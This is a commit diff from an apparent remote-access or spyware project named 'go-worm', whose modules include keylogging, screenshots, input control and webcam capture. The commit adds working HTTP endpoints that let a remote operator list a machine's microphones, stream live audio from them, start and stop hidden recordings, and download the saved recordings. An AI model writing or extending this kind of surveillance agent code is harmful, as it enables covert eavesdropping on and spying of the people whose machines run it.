Audio
This commit is contained in:
@@ -21,6 +21,7 @@ import (
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/keylog"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/mic"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/openapi"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
||||
@@ -411,6 +412,166 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = w.Write(frame.Data)
|
||||
}
|
||||
|
||||
func parseMicDevice(r *http.Request) (int, error) {
|
||||
device := 0
|
||||
if raw := r.URL.Query().Get("device"); raw != "" {
|
||||
var err error
|
||||
device, err = strconv.Atoi(raw)
|
||||
if err != nil || device < 0 {
|
||||
return 0, errors.New("device must be 0 or greater")
|
||||
}
|
||||
}
|
||||
return device, nil
|
||||
}
|
||||
|
||||
func (a *Agent) handleMic(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
devices, err := mic.List()
|
||||
if err != nil {
|
||||
helpers.Log.Printf("mic list: %v", err)
|
||||
helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
|
||||
return
|
||||
}
|
||||
if devices == nil {
|
||||
devices = []mic.Device{}
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"devices": devices})
|
||||
case http.MethodDelete:
|
||||
mic.Stop()
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
default:
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) handleMicChunk(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
device, err := parseMicDevice(r)
|
||||
if err != nil {
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
data, err := mic.Chunk(device)
|
||||
if errors.Is(err, mic.ErrNoAudio) {
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
return
|
||||
}
|
||||
if errors.Is(err, mic.ErrDeviceNotFound) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
helpers.Log.Printf("mic chunk: %v", err)
|
||||
helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "audio/wav")
|
||||
w.Header().Set("Content-Length", strconv.Itoa(len(data)))
|
||||
_, _ = w.Write(data)
|
||||
}
|
||||
|
||||
func (a *Agent) handleMicRecord(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodPost:
|
||||
device, err := parseMicDevice(r)
|
||||
if err != nil {
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
name, err := mic.StartRecord(device)
|
||||
if errors.Is(err, mic.ErrAlreadyRecording) {
|
||||
helpers.WriteError(w, http.StatusConflict, err.Error())
|
||||
return
|
||||
}
|
||||
if errors.Is(err, mic.ErrDeviceNotFound) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
helpers.Log.Printf("mic record start: %v", err)
|
||||
helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"file": name, "recording": true})
|
||||
case http.MethodDelete:
|
||||
name, size, err := mic.StopRecord()
|
||||
if errors.Is(err, mic.ErrNotRecording) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
helpers.Log.Printf("mic record stop: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"file": name, "size": size, "recording": false})
|
||||
default:
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) handleMicRecordings(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
files, err := mic.ListRecordings()
|
||||
if err != nil {
|
||||
helpers.Log.Printf("mic recordings list: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not list recordings")
|
||||
return
|
||||
}
|
||||
dir, err := mic.Dir()
|
||||
if err != nil {
|
||||
helpers.Log.Printf("mic dir: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not resolve mic directory")
|
||||
return
|
||||
}
|
||||
if files == nil {
|
||||
files = []mic.FileInfo{}
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"directory": dir, "files": files, "recording": mic.Recording()})
|
||||
}
|
||||
|
||||
func (a *Agent) handleMicDownload(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
name := r.URL.Query().Get("file")
|
||||
if name == "" {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "file is required")
|
||||
return
|
||||
}
|
||||
if !mic.ValidRecordingFilename(name) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "invalid recording file name")
|
||||
return
|
||||
}
|
||||
file, info, err := mic.OpenRecording(name)
|
||||
if err != nil {
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
helpers.WriteError(w, http.StatusNotFound, "recording not found")
|
||||
return
|
||||
}
|
||||
if errors.Is(err, os.ErrInvalid) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "invalid recording file name")
|
||||
return
|
||||
}
|
||||
helpers.Log.Printf("mic download: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not open recording")
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
w.Header().Set("Content-Type", "audio/wav")
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(filepath.Base(name), `"`, "'")+`"`)
|
||||
w.Header().Set("Accept-Ranges", "bytes")
|
||||
http.ServeContent(w, r, info.Name(), info.ModTime(), file)
|
||||
}
|
||||
|
||||
func (a *Agent) handleWebcam(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
|
||||
Reference in New Issue
Block a user